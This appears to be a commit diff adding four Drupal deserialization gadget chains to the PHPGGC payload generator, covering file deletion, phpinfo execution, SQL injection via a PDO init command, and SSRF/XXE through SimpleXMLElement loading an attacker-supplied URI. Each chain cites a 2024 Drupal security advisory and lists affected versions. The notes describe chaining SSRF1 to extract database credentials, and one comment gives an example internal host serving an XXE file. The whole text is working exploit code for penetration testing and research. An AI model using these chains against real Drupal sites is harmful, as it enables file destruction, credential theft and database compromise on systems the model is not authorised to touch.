Drupal INFO1, SQLI1, SSRF1 and FD1

gadgetchains/Drupal/FD/1/chain.php

@@ -0,0 +1,20 @@
+<?php
+
+namespace GadgetChain\Drupal;
+
+class FD1 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9 || >= 11.0.0 < 11.0.8';
+    public static $vector = '__wakeup';
+    public static $author = 'mcdruid';
+    public static $information = 'See: https://www.drupal.org/sa-core-2024-006';
+
+    public function generate(array $parameters)
+    {
+        return new \Drupal\Core\Config\StorageComparer(
+            new \Drupal\Component\PhpStorage\FileStorage(
+                $parameters['remote_path']
+            )
+        );
+    }
+}

gadgetchains/Drupal/FD/1/gadgets.php

@@ -0,0 +1,21 @@
+<?php
+
+namespace Drupal\Core\Config {
+    class StorageComparer {
+        protected $targetCacheStorage;
+        public function __construct($targetCacheStorage)
+        {
+            $this->targetCacheStorage = $targetCacheStorage;
+        }
+    }
+}
+
+namespace Drupal\Component\PhpStorage {
+    class FileStorage {
+        protected $directory;
+        public function __construct($directory)
+        {
+            $this->directory = $directory;
+        }
+    }
+}

gadgetchains/Drupal/INFO/1/chain.php

@@ -0,0 +1,25 @@
+<?php
+
+namespace GadgetChain\Drupal;
+
+class INFO1 extends \PHPGGC\GadgetChain\PHPInfo
+{
+    public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9 || >= 11.0.0 < 11.0.8';
+    public static $vector = '__wakeup';
+    public static $author = 'mcdruid';
+    public static $information = 'See: https://www.drupal.org/sa-core-2024-007
+        This requires PsySH which is bundled with drush. It is common but not
+        mandatory for drush to be installed along with Drupal core. Other PHP
+        functions could be executed, but no parameters can be passed.';
+
+    public function generate(array $parameters)
+    {
+        return (
+            new \Drupal\views\ViewExecutable(
+                new \Psy\ExecutionClosure('phpinfo'),
+                new \Drupal\Views\DisplayPluginCollection(),
+                new \Drupal\views\Plugin\views\display\DefaultDisplay()
+            )
+        );
+    }
+}

gadgetchains/Drupal/INFO/1/gadgets.php

@@ -0,0 +1,51 @@
+<?php
+
+namespace Drupal\views {
+    class ViewExecutable
+    {
+           protected $serializationData = [
+               'executed' => TRUE,
+               'storage' => 'frontpage',
+               'current_display' => 'default',
+               'args' => [],
+               'current_page' => '',
+               'exposed_input' => '',
+               'exposed_data' => '',
+               'exposed_raw_input' => '',
+               'dom_id' => '',
+           ];
+           public $built = TRUE;
+           public $live_preview = TRUE;
+           public $query;
+           public $displayHandlers;
+           public $display_handler;
+
+           function __construct($query, $displayHandlers, $display_handler) {
+               $this->query = $query;
+               $this->displayHandlers = $displayHandlers;
+               $this->display_handler = $display_handler;
+           }
+    }
+
+    class DisplayPluginCollection
+    {
+
+    }
+}
+
+namespace Drupal\views\Plugin\views\display {
+    class DefaultDisplay
+    {
+
+    }
+}
+
+namespace Psy {
+    class ExecutionClosure {
+        protected $closure;
+
+        function __construct($closure) {
+            $this->closure = $closure;
+        }
+    }
+}

gadgetchains/Drupal/SQLI/1/chain.php

@@ -0,0 +1,28 @@
+<?php
+
+namespace GadgetChain\Drupal;
+
+class SQLI1 extends \PHPGGC\GadgetChain\SqlInjection
+{
+    public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9';
+    public static $vector = '__wakeup';
+    public static $author = 'mcdruid';
+    public static $information = 'See: https://gist.github.com/paul-axe/2a384bb5f2d430dd3b63b2484af960f4
+    See: https://www.drupal.org/sa-core-2024-008
+    Drupal/SSRF1 can be used to extract db credentials for SQL injection.';
+
+    public function generate(array $parameters)
+    {
+        return new \Drupal\Core\Url(
+            new \Drupal\Core\Database\StatementPrefetch(
+                'PDO',                                // class
+                [
+                    'mysql:dbname=db;host=db',        // DSN
+                    'db',                             // username
+                    'db',                             // password
+                    [1002 => $parameters['sql']]      // PDO::MYSQL_ATTR_INIT_COMMAND
+                ]
+            )
+        );
+    }
+}

gadgetchains/Drupal/SQLI/1/gadgets.php

@@ -0,0 +1,3 @@
+<?php
+
+require_once(DIR_GADGETCHAINS . '/Drupal/SSRF/1/gadgets.php');

gadgetchains/Drupal/SSRF/1/chain.php

@@ -0,0 +1,27 @@
+<?php
+
+namespace GadgetChain\Drupal;
+
+class SSRF1 extends \PHPGGC\GadgetChain\SSRF
+{
+    public static $version = '>= 8.0.0 < 10.2.11 || >= 10.3.0 < 10.3.9';
+    public static $vector = '__wakeup';
+    public static $author = 'mcdruid';
+    public static $information = 'See: https://gist.github.com/paul-axe/2a384bb5f2d430dd3b63b2484af960f4
+    See: https://www.drupal.org/sa-core-2024-008
+    https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-exfiltrate-data-out-of-band';
+
+    public function generate(array $parameters)
+    {
+        return new \Drupal\Core\Url(
+            new \Drupal\Core\Database\StatementPrefetch(
+                'SimpleXMLElement',
+                [
+                    $parameters['uri'], // e.g. 'http://10.11.12.13/xxe.xml'
+                    LIBXML_BIGLINES | LIBXML_DTDLOAD | LIBXML_NOENT | LIBXML_PARSEHUGE,
+                    true
+                ]
+            )
+        );
+    }
+}

gadgetchains/Drupal/SSRF/1/gadgets.php

@@ -0,0 +1,27 @@
+<?php
+
+namespace Drupal\Core {
+    class Url {
+        // use DependencySerializationTrait;
+        protected $_serviceIds = [];
+        public function __construct($serviceIds) {
+            $this->_serviceIds = $serviceIds;
+        }
+
+    }
+}
+
+namespace Drupal\Core\Database {
+    class StatementPrefetch
+    {
+        protected $currentRow = array();
+        protected $fetchStyle = 8; // PDO::FETCH_CLASS
+        protected $fetchOptions = array();
+
+        function __construct($class, $constructor_args)
+        {
+            $this->fetchOptions['class'] = $class;
+            $this->fetchOptions['constructor_args'] = $constructor_args;
+        }
+    }
+}